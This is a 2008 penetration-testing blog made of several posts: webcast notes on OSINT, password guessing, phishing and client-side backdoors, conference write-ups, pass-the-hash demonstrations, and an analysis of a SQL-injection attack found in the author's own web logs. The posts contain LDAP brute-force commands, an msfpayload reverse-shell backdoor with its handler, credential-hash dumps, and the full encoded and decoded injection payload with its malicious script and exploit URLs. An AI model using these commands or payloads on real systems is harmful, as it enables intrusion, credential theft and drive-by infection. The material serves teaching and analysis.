Notes from SANS Beyond Front-Line Exploits Webcast

Webcast http://www.sans.org/webcasts/show.php?webcastid=91586

Beyond Front-Line Exploits:
Tips and Tools for Comprehensive Penetration Testing

Lenny Zeltser August 2008

#1 Data in plain sight:

-(slide 6/7) site:example.com filetype:pdf
-(slide 8/9)Libextractor for extracting metadata
-(slide 10) Metagoofil
-(slide 11/12)maltego

#2: Remote Password-Guessing

-If you dont find possible usernames using the info in Data In Plain Sight, you can generate your own using
US Census to generate Top Last Names, Top Female First Names, Top Male First Names
http://www.census.gov/genealogy/names/names_files.html

*you'll have to figure out the naming convention for the company your auditing

**my note: have your top 40 username/pass I also have one for mssql passwords, at least you can do a "low hanging fruit" type check besides checking for null passwod

-(slide 15)theharvester for email gathering -use google, linkedin, pgp
-(slide 16) see if webpage gives you a clue if your username/pass is wrong username or wrong password based on error messages in the app
-(slide 17) validate usernames using brutus if the app return useful error messages
-(slide 18/19) create a list of good usernames and a short list of passwords that are worth trying "remote password guessing" writeup on ISC
-(slide 20) Accent Keyword Extractor, keywords that could be passwords for people in the company
-(slide 21) is the password recovery mechanism a weak link? ask you for secret question and display new password, can you use the app to find valid usernames? where if i enter in the wrong username it says i dont know who you are, where if i enter in a correct username a i get a secret question prompt
-(slide 24) if ldap exposed or queriable -- Ldap bruteforce with hydra $ hydra -L users.txt –P passwords.txt ldap.example.com ldap2 or $ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*' -h ldap.example.com k0ld is supposedly written specificicaly for ldap
-(slide 25) tsgrinder -- need old version or RDP client for tsgrinder to work, need version 5
** tut by me http://www.ethicalhacker.net/content/view/106/24/
** default 2k3 password complexity with shut this tool down without a good dictionary

#3: Social engineering
**just ask for what you need!
-(slide 29) email phish example for password reset
-(slide 30) ArGoSoft Mail Server Freeware allows you to relaymail locally
-(slide 31) register a similar domain name as your target, use domaintools.com to check for you. http://www.domaintools.com/domain-typo
-(slide 32) just present an error message after the user inputs creds to
-(slide 33) php backend and plugins to grab important data
USER: jsmith
PASSWORD: plumlips
LOCAL IP: 192.168.2.144
REMOTE IP: 208.77.188.166
PORT: 61035
USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;
Mozilla Default Plug-in; RealJukebox NS Plugin;
RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit);
Shockwave Flash; Java(TM) Platform SE 6 U2;

*current browsers are not allowing to pull local IP easily

#4: Client-Side Backdoors

-(slide 35/36) target those 3rd party client side vulnerabilities -- delivery is still email or web
-(slide 37) just ask user to install the malware
-(slide 38/39) reverse shell out to attacker, or use msfpayload, he used VNCreverse
$ msfpayload windows/vncinject/reverse_tcp LPORT=5544
LHOST=192.168.1.124 DisableCourtesyShell=True X >
update2.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/vncinject/reverse_tcp
Length: 177
Options: LHOST=192.168.1.124,LPORT=5544,
DisableCourtesyShell=True

$ msfcli exploit/multi/handler LPORT=5544
PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124
DisableCourtesyShell=True E

-(slide 43) try to get some new things brought into scope for pentests especialy client sides

-from the questions, mindmap all that info above to organize, freemind is a free version

AMEX = FAIL

saw this today while reseting a password...awesome.



Also looks like I'm not the only one having the problem.
http://lastinfirstout.blogspot.com/2008/10/trivial-account-reset-on-american.html

California RFID Law = FAIL

I've been looking for something good to give the "FAIL" to and here it is:

From Wired Threat Level:

"California followed Washington State's footsteps this week to become the second U.S. state outlawing so-called Radio Frequency Identification Device skimming.

Skimmers can easily pilfer information from non-encrypted RFID tags that are growing commonplace. California's bill was adopted and signed by Gov. Arnold Schwarzenegger this week after a demonstration showed that personal information skimmed from entry-card badges from statehouse workers allowed hackers access to secured areas of government offices.

Still, California's measure (.pdf) and the one Washington State adopted in March, don't mandate any RFID encryption. So the vulnerabilities of the Golden State statehouse's entry system remains."

http://blog.wired.com/27bstroke6/2008/10/rfid-anti-skimm.html

All I can say is wow (or fail). The only people this is going to hurt is the security consultants trying to find and fix insecure RFID applications for customers. Much akin to banning guns so only the bad guys have them. Non-technicians making technical policy FTW!

ToorconX Wrap-Up

Joe and I had the opportunity to teach our 2 day Crash Course In Pentesting workshop at Toorcon X. I felt like the workshop went pretty well and we got some good feedback from the students. Joe has spent that last year really working on web application pentesting and can really break down SQL injection and XSS type assessments and attacks. He had day two of the workshop and I thought it was really good. We even had a custom bookstore web application built for the students to practice SQLI, XSS, and LFI/RFI. I had day one. Frankly I covered too much material and not enough time for the students to actually do anything with the lab images but they did get the hard drives to take that stuff home along with the lab manual for the web application thing and the draft version of the LSO Metasploit Mini-Course.

Here is the breakdown of the seminars.
http://sandiego.toorcon.org/content/section/5/7/

9:30 Jay Beale: Owning the Users with The Middler
11:00 James O'Gorman & Matthew Churchill: Digital Forensics - Footsteps in the Snow
14:00 Travis Goodspeed: Repurposing the TI EZ430 Development Tool
15:30 Ryan Sherstobitoff: The Evolution of Cyber Crime
17:00 Jared DeMott: AppSec A-Z: Reverse Engineering, Source Code Auditing, Fuzzing, and Exploitation

Jay Beale's talk was cool, it was on his tool middler which I had heard about before but hadnt played with (I think because it wasnt released). It will MITM the user's browser and hijack EVERY web session, grab the cookies, insert any javascript of your choosing. I dont think the tools website is up yet but his slides from Defcon16 are, you can check those out for more info:
http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-beale-2.pdf

James O'Gorman & Matthew Churchill from Continuum World Wide gave a good talk on forensics. The had some great slides on dispelling forensics myths and gave everyone a chance to ask questions about the current state of forensics.

I missed Travis Goodspeed's talk.

I caught most of Ryan Sherstobitoff's talk. He was from Panda Security and talked about some stats they had accumulated on different types of malware in the wild.

Jared DeMott talked about reversing 101 and exploitation 101. quite a bit to cover in 90 minutes. He covered alot on IDA Pro and then talked about doing some simple exploitation and shellcode development. Fun stuff.

Here's the link to the breakdown of the conference, I wont paste it all.
http://sandiego.toorcon.org/content/section/3/9/

Dan Kaminsky's keynote was awesome, he of course talked about the DNS bug but more importantly he talked about how exploitation and vulnerabilities really have to be though of in groups. Its not so much one vulnerability breaking the internet, but now you can string several together for total world domination. *btw, NONE of that is a quote from his talk.
http://toorcon.org/tcx/1_Kaminsky.pdf

I really enjoyed Ben Feinstein's talk on the "Loaded Dice: SSH Key Exchange & the OpenSSL PRNG Vuln." He did a good job explaining SSL and showing the steps with wireshark and then doing a live demo showing what could happen if you are doing SSH with a bad cert.
http://toorcon.org/tcx/3_Feinstein.pdf

Ariel Waissbein is from Core Security and talked about some new tool they are releasing that will do simulated exploitation by reading in virtual machine config files and interfacing that will core impact "to test to see if you were vulnerable in the past". I wasn't too impressed. If i was taking the I was owned in the past stance I should just go start looking for evidence of the hack rather than testing to see if the Core Impact module works.
http://toorcon.org/tcx/5_Waissbein.pdf

Joe McCray of course rocked the SQLI.
http://toorcon.org/tcx/9_McCray.pdf

Grutz rocked the NTLM pass the hash with windows authentication and squirtle. If i hear the talk one more time I might be able to take in the full impact of what you can do with it.
http://toorcon.org/tcx/10_Grutz.pdf

Sunday was the 20 minute talks.

I caught Christian Heinrich's "Googless" talk where his OWASP group is writing some code to use the google SOAP API to do some searches.

I caught a bit of Marc Bevand's "Breaking UNIX crypt() on the PlayStation 3" talk but had to leave early to get set up for my talk

Got in late for Dan Griffin's "Hacking SharePoint" but it seemed good, looking forward to the slides from it.

Here's what I caught the rest the of the day:
Dan Hubbard's "P0wn the Cloud. The good, the bad, and the pugly of Cloud Computing"

Joshua Brashars' "Owning telephone entry systems (aka why you shouldn't sleep so well)" basically what the title says, default passwords are great, default passwords of 0000 are even better.

Stephan Chenette's "Ultimate Script Deobfuscation: Browser Hooking versus simulation" discussed a very cool tool that would hook IE and document.write and other function I cant remember right now so you can read what the obfuscated java is doing after the browser has done its thing with it. very cool.

David Byrne's "Advanced Techniques in Automated Web Application Testing" talked about Grendal-Scan and the Grendal-Scan blog.

Luis Miras & Zane Lackey's "Mobile Phone Messaging Anti-Forensics" talked about F'ing up the SD card on cell phones that would crash any SD forensics software.

All in all a great con. Huge props to all toorcon crew.

New School Information Gathering ToorconX edition

Here is the outline for my New School Information Gathering talk that I gave at ToorconX.

Open Source Intelligence Gathering (OSINT)‏
FierceDNS
SEAT/Goolag
Google Mail Harvesters
Metagoofil
Online Tools: ServerSniff/DomainTools/CentralOps/Clez.net/Robtex/Spoke
Tying it all together with Maltego

I hid several slides to get the talk into the 20 minute time frame but you should see them in the posted slide deck.

Slides are available here:
http://www.carnal0wnage.com/research/Carnal-NewSchool-ToorconX.pdf

Comments and feedback are always welcome even though I received nothing back from all the people that emailed me asking for them last time :-(

-CG

Why Blog?

Richard Bejtlich has a really good blog post on his blog entitled "why blog".

He lists five things:

1. Blogging organizes thoughts.
   


2. Blogging captures and shares thoughts.
   


3. Blogging facilitates public self-expression.
   


4. Blogging establishes communities.
   


5. Blogging can contribute original knowledge faster than any other medium.
   

I'll let you read the blog for the discussion on the five things but I've really enjoyed blogging.

I mostly keep the blog as my note taking canvas (for notes I want to share with others) but RB's five reasons are reasons I blog as well.

Toorcon X Workshop

As I mentioned before, Joe and I are doing a Crash Course In Pentesting 2 day workshop at ToorconX

http://sandiego.toorcon.org/content/section/4/8/

Here's a piece from the description:

"This course will cover some of the newer aspects of pen-testing covering; Open Source Intelligence Gathering with Maltego and other Open Source tools, Scanning, Enumeration, Exploitation (Both remote and client-side) and Post-Exploitation relying heavily on the features included in the Metasploit Framework. We'll discuss our activities from both the Whitebox and Blackbox approach keeping stealth in mind for our Blackbox activities.

Web Application penetration testing will be covered as well with focus on practical exploitation of cross-site scripting (XSS), cross-site request forgery (CSRF), local/remote file includes, and SQL Injection."

But I wanted to give a few more details.

Day 1 is network level pentesting and Day 2 is web application pentesting.

Network level is mostly my responsibility and I'll be focusing on black box information gathering, client side attacks, and post exploitation. Its hard to cover pentesting in a day, so I'll be talking heavily on client side attacks and how to implement those into your pentests and some of the tools you'll need to do it. A little bit on local/priv escalation attacks that you'll need to do once you have that userland shell and post exploitation. There is also a block on metasploit and the students will take home a copy of LSO's Metasploit Mini Course.

Web application is Joe's responsibility and it should be really good. We've had a custom web app built with vulnerabilities intentionally built in. So the students will be able run the tools he is going to discuss and then exploit the vulnerabilities they find. They also get to take the VM home with them.

If you have questions feel free to post up or email me with them.

passing the hash with gsecdump and msvctl (yes more)

So just a follow up post on gsecdump and msvctl after doing prep for post exploitation topics for the toorcon workshop.

For some reason I thought that gsecdump would not require admin privileges, this is incorrect it will require admin or system on the box. What it doesn't require is injecting into lsass to get the hashes (at least according to here).

"Most notable features are extracting password hashes for active logon sessions, LSA secrets without injecting into lsass.exe making it safe to run on any system and pwdump functionality without DLL injection (and a lot more stable). Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info."

OK, so you still need admin or higher but the cool thing (and I have already covered this) is that it dumps the hashes for active logon sessions. Now, the key to to that is active logon sessions. So if you are userland and admin or higher then you might be stuck with that user's hash because once the log out the active logon session hash seems to disappear (sometimes ??) but if you get a system shell you might get some of the old logged in users.

example:
#popped a system shell and got a command shell with meterpreter

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

#logged into the box as nobody

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
XPSP1VM\nobody::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Logged out as nobody
C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Once nobody logs out, things were back to where they were. This is an important distinction between gsecdump/msvctl and token stealing. But, once you have a hash, any user can use that hash where you have to be admin/system to pass tokens.

Let's see the same scenario with incognito

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#login as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
XPSP1VM\nobody

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#log out as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
XPSP1VM\nobody

meterpreter > impersonate_token XPSP1VM\\nobody
[-] No delegation token available
[+] Successfully impersonated user XPSP1VM\nobody
meterpreter > getuid
Server username: XPSP1VM\nobody
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Lastly, like I already mentioned in the other msvctl post, you have to actually be sitting on the box to get your new shell with the user's creds you passed because it pops up a whole new command shell. Which is kind of a bummer, with a remote shell. You'll have to use the pass the hash toolkit instead.

Some other reading on gsecdump and msvctl
http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20
http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml

http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx

Also I was doing some googling on pass the hash and came across this post in reference to the pass the hash problem, best part in bold.

http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx
best quote:

"Hash injection mitigation? - Steve Riley [MSFT] <06-oct-07 style="font-weight: bold;">In either case, you need to become admin of the computer before you can force the compromised machine to release its hashes from memory, which lessens the likelihood of success. And if you did manage to become admin, there are fare more interesting attacks that you'd want to attempt. By the way, sniffing a network connection won't reveal hashes. In other words, there's nothing new here, and very little that you need to worry about."

I don't know, going from a local admin on a box to domain admin is pretty interesting to me...

Mike Murray on Human Exploitation 101

http://www.ethicalhacker.net/content/view/209/1/

From the article:

"This is going to be all about dealing face-to-face (or voice-to-voice or text-to-text) with real live people and exploiting the natural tendency to trust.

Of course, this skill underpins everything else that we do when on a social-engineering engagement - in order to impersonate a UPS guy, talk someone out of their password, write a great targeted phishing email, or know exactly where to drop the USB keys - you have to have great skills at exploiting the natural tendencies of humans.

This means a deep understanding of the three fundamental skills (that I have mentioned often in introductory talks and articles on this topic) - the ability to communicate, the ability to be aware of your surroundings, and your ability to control the context (or "cognitive frame") of your interaction."

Human 0days are promised in the future!

cute...

checking web logs...

71.191.45.109 - - [30/Aug/2008:19:06:39 +0000] "GET /hack/brutessh2.c?';DECLARE%
20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722832353529
2C40432076617263686172283430303029204445434C415245205461626C655F437572736F722043
5552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E
6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065
3D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20
5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3029204245
47494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D27
27223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568
756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40
432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E
3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F
4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546162
6C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4
000));EXEC(@S); HTTP/1.1" 501 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Window
s NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

Decodes to:
DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id an?? a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@F??TCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''">//script src="hxxp://www0.douh??nqn.cn/csrss/w.js"//script////!--''+['+@??+'] where '+@C+' not like ''%"//script src="hxxp://www0.douhunqn.cn/csr??s/w.js"//script//!--''')FETCH NEXT FRO?? Table_Cursor INTO @T'@C END CLOSE Tab??e_Cursor DEALLOCATE Table_Cursor

the java:

window.onerror=function()
{
document.write("//iframe width="0" height="0" src="hxxp://www0.douhunqn.cn/csrss/new.htm">//iframe>");
return true;
}
if(typeof(js2eus)=="undefined")
{
var js2eus=1;

var yesdata;
yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
document.write('//iframe marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" src="hxxp://count41.51yes.com/sa.aspx?id="419214144'+yesdata+'" height="0" width="0">//iframe>');


document.write("//iframe width="0" height="0" src="hxxp://www0.douhunqn.cn/csrss/new.htm">//iframe>");

}

function y_gVal(iz)
{var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
function y_g(name)
{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(iyesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}

new.htm is nice:

launches several iframes that launch several other attacks. very nice. I'll let you pull down that code.

hxxp://www0.douhunqn.cn/csrss/lzx.htm
hxxp://www0.douhunqn.cn/csrss/IERPCtl.IERPCtl.1
hxxp://www0.douhunqn.cn/csrss/real11.htm
hxxp://www0.douhunqn.cn/csrss/real10.htm
hxxp://www0.douhunqn.cn/csrss/S.S
hxxp://www0.douhunqn.cn/csrss/Bfyy.htm --> Storm Player Exploit

The only exploit that was there was the real11.htm one :-(

new.htm also serves up:
//iframe src=hxxp://www.ppexe.com/csrss/06014.htm width=100 height=0>
//iframe src=hxxp://www.ppexe.com/csrss/flash.htm width=100 height=0>
//Iframe src=hxxp://www.ppexe.com/csrss/net.htm width=100 height=0>
//Iframe src=hxxp://www.ppexe.com/csrss/ff.htm width=100 height=0>

that malware with the .exe's are still available

there is a good write up of most of the code here

http://blogs.technet.com/mmpc/archive/2008/08/28/a-normal-day-at-the-office.aspx